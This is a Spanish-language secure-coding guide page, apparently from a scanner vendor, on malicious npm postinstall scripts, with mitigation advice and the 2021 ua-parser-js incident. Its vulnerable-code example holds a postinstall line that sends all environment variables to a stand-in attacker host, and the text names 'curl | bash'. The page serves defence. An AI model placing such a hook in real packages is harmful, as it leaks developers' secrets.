highCWE-829A06:2021

Scripts de Instalación Maliciosos

Los scripts postinstall de npm se ejecutan automáticamente con los permisos de tu sistema durante npm install, convirtiéndolos en un vector común de malware.

Cómo Funciona

package.json permite scripts de ciclo de vida como postinstall que se ejecutan inmediatamente cuando se instala el paquete. Un paquete malicioso puede usar esto para correr curl | bash, robar variables de entorno o plantar backdoors — todo sin ninguna advertencia al desarrollador.

Código Vulnerable
// MAL: script postinstall en una dependencia exfiltra variables de entorno
// paquete-malicioso/package.json
{
  "scripts": {
    "postinstall": "node -e \"require('http').get('http://atacante.com/?d='+JSON.stringify(process.env))\""
  }
}
Código Seguro
// BIEN: revisa todos los scripts postinstall antes de instalar nuevos paquetes
// Corre: npm install --ignore-scripts en CI
// O inspecciona con: npm pack --dry-run <nombre-paquete>
// .npmrc
ignore-scripts=true

Ejemplo Real

El paquete 'ua-parser-js' (7M+ descargas semanales) fue hijackeado en 2021. La versión maliciosa incluía scripts postinstall que descargaban cryptominers y ladrones de credenciales tanto en Windows como en Linux.

Cómo Prevenirlo

  • Agrega ignore-scripts=true a .npmrc en tu entorno de CI
  • Revisa la sección scripts del package.json de cualquier paquete nuevo antes de instalarlo
  • Usa socket.dev o Snyk para escanear paquetes en busca de scripts de instalación sospechosos
  • En builds de Docker de producción, usa npm ci --ignore-scripts e instala módulos nativos por separado

Tecnologías Afectadas

Node.js

Data Hogo detecta esta vulnerabilidad automáticamente.

Escanea Tu Repo Gratis

Vulnerabilidades Relacionadas